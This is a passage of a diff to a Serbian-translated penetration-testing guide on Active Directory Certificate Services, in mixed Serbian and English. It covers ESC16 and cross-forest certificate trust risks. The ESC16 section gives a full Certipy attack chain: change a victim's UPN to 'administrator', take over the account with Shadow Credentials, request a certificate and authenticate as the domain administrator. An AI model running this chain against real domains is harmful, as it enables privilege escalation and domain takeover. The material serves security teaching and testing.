**szOID_NTDS_CA_SECURITY_EXT** ekstenzije u sve sertifikate, napadač može to iskoristiti na sledeći način: +**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** odnosi se na scenario gde, ako konfiguracija AD CS ne primorava uključivanje **szOID_NTDS_CA_SECURITY_EXT** ekstenzije u sve sertifikate, napadač to može iskoristiti na sledeći način: -1. Zahtevajući sertifikat **bez SID vezivanja**. +1. Zahtevanje sertifikata **without SID binding**. -2. Koristeći ovaj sertifikat **za autentifikaciju kao bilo koji nalog**, kao što je impersonacija naloga sa visokim privilegijama (npr. Administrator domena). +2. Korišćenje ovog sertifikata **for authentication as any account**, na primer impersoniranjem naloga visokih privilegija (npr. Domain Administrator). -Možete se takođe pozvati na ovaj članak da biste saznali više o detaljnom principu: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 +You can also refer to this article to learn more about the detailed principle:https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 ### Abuse -Sledeće se odnosi na [ovaj link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), Kliknite da biste videli detaljnije metode korišćenja. +Sledeće se odnosi na [ovaj link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally). Kliknite da biste videli detaljnije metode upotrebe. -Da biste identifikovali da li je okruženje Active Directory Certificate Services (AD CS) ranjivo na **ESC16** +To identify whether the Active Directory Certificate Services (AD CS) environment is vulnerable to **ESC16** ```bash certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable ``` -**Korak 1: Pročitajte inicijalni UPN žrtvovane naloga (Opcionalno - za obnavljanje).** +**Korak 1: Pročitajte početni UPN naloga žrtve (Opcionalno - za obnavljanje). ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -user 'victim' \ read ``` -**Korak 2: Ažurirajte UPN žrtvinog naloga na `sAMAccountName` ciljnog administratora.** +**Korak 2: Ažurirajte UPN naloga žrtve na `sAMAccountName` ciljanog administratora.** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -upn 'administrator' \ -user 'victim' update ``` -**Korak 3: (Ako je potrebno) Dobijte akreditive za "žrtvinski" nalog (npr. putem Shadow Credentials).** +**Korak 3: (ako je potrebno) Nabavite podatke za prijavu za nalog "žrtve" (npr. putem Shadow Credentials).** ```shell certipy shadow \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -account 'victim' \ auto ``` -**Korak 4: Zatražite sertifikat kao "žrtva" korisnik sa _bilo kog odgovarajućeg šablona za autentifikaciju klijenta_ (npr., "Korisnik") na ESC16-ranjivoj CA.** Pošto je CA ranjiva na ESC16, automatski će izostaviti SID sigurnosnu ekstenziju iz izdatog sertifikata, bez obzira na specifične postavke šablona za ovu ekstenziju. Postavite promenljivu okruženja za Kerberos keš kredencijala (shell komanda): +**Korak 4: Zatražite sertifikat kao korisnik "victim" iz _bilo kojeg odgovarajućeg šablona za autentifikaciju klijenta_ (npr. "User") na CA ranjivom na ESC16.** Pošto je CA ranjiv na ESC16, automatski će izostaviti SID security extension iz izdatog sertifikata, bez obzira na specifična podešavanja šablona za ovo proširenje. Postavite promenljivu okruženja Kerberos credential cache (shell komanda): ```bash export KRB5CCNAME=victim.ccache ``` @@ -848,7 +868,7 @@ certipy req \ -target 'CA.CORP.LOCAL' -ca 'CORP-CA' \ -template 'User' ``` -**Korak 5: Vratite UPN "žrtvovane" naloge.** +**Korak 5: Vratite UPN naloga "victim".** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -861,22 +881,24 @@ certipy auth \ -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \ -username 'administrator' -domain 'corp.local' ``` -## Kompromitovanje šuma uz objašnjenje sertifikata u pasivnom glasu +## Compromising Forests with Certificates Explained in Passive Voice -### Rušenje poverenja šuma od strane kompromitovanih CA +### Breaking of Forest Trusts by Compromised CAs -Konfiguracija za **cross-forest enrollment** je relativno jednostavna. **Root CA sertifikat** iz resursnog šuma je **objavljen u šumama naloga** od strane administratora, a **enterprise CA** sertifikati iz resursnog šuma su **dodati u `NTAuthCertificates` i AIA kontejnere u svakoj šumi naloga**. Da pojasnimo, ovaj aranžman daje **CA u resursnom šumu potpunu kontrolu** nad svim drugim šumama za koje upravlja PKI. Ako bi ovaj CA bio **kompromitovan od strane napadača**, sertifikati za sve korisnike u resursnom i šumama naloga mogli bi biti **falsifikovani od strane njih**, čime bi se prekrila sigurnosna granica šuma. +Konfiguracija za **cross-forest enrollment** je relativno jednostavna. The **root CA certificate** from the resource forest is **published to the account forests** by administrators, and the **enterprise CA** certificates from the resource forest are **added to the `NTAuthCertificates` and AIA containers in each account forest**. Da pojasnimo, ova postavka daje **CA in the resource forest complete control** over all other forests za koje upravlja PKI. Should this CA be **compromised by attackers**, sertifikati za sve korisnike u oba — resource i account forests — mogli bi biti **forged by them**, čime bi bila narušena sigurnosna granica foresta. -### Privilegije upisa dodeljene stranim principima +### Enrollment Privileges Granted to Foreign Principals -U multi-forest okruženjima, potrebna je opreznost u vezi sa Enterprise CA koje **objavljuju šablone sertifikata** koji omogućavaju **Authenticated Users ili strane principe** (korisnici/grupe van šume kojoj pripada Enterprise CA) **prava upisa i uređivanja**.\ -Nakon autentifikacije preko poverenja, **Authenticated Users SID** se dodaje u korisnički token od strane AD. Tako, ako domen ima Enterprise CA sa šablonom koja **omogućava prava upisa za Authenticated Users**, šablon bi potencijalno mogao biti **upisan od strane korisnika iz druge šume**. Slično tome, ako su **prava upisa izričito dodeljena stranom principu putem šablona**, **stvara se međusobni odnos kontrole pristupa između šuma**, omogućavajući principu iz jedne šume da **upisuje šablon iz druge šume**. +U multi-forest okruženjima treba postupati oprezno prema Enterprise CAs koje **publish certificate templates** koje dozvoljavaju **Authenticated Users or foreign principals** (korisnici/grupe koji su eksterni u odnosu na forest kojem pripada Enterprise CA) **enrollment and edit rights**.\ +Prilikom autentikacije preko trust-a, **Authenticated Users SID** se dodaje u token korisnika od strane AD. Dakle, ako domen poseduje Enterprise CA sa template-om koji **allows Authenticated Users enrollment rights**, taj template bi potencijalno mogao biti **enrolled in by a user from a different forest**. Isto tako, ako su **enrollment rights are explicitly granted to a foreign principal by a template**, time se kreira **cross-forest access-control relationship**, omogućavajući principal-u iz jednog foresta da **enroll in a template from another forest**. -Oba scenarija dovode do **povećanja površine napada** od jedne šume do druge. Podešavanja šablona sertifikata mogla bi biti iskorišćena od strane napadača da dobiju dodatne privilegije u stranoj domeni. +Oba scenarija vode ka povećanju **attack surface** sa jednog foresta na drugi. Podešavanja certificate template-a mogu biti iskorišćena od strane napadača da se dobiju dodatne privilegije u stranom domenu. -## Reference +## References - [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/) +- [GhostPack/Certify](https://github.com/GhostPack/Certify) +- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) {{#include ../../../banners/hacktricks-training.md}}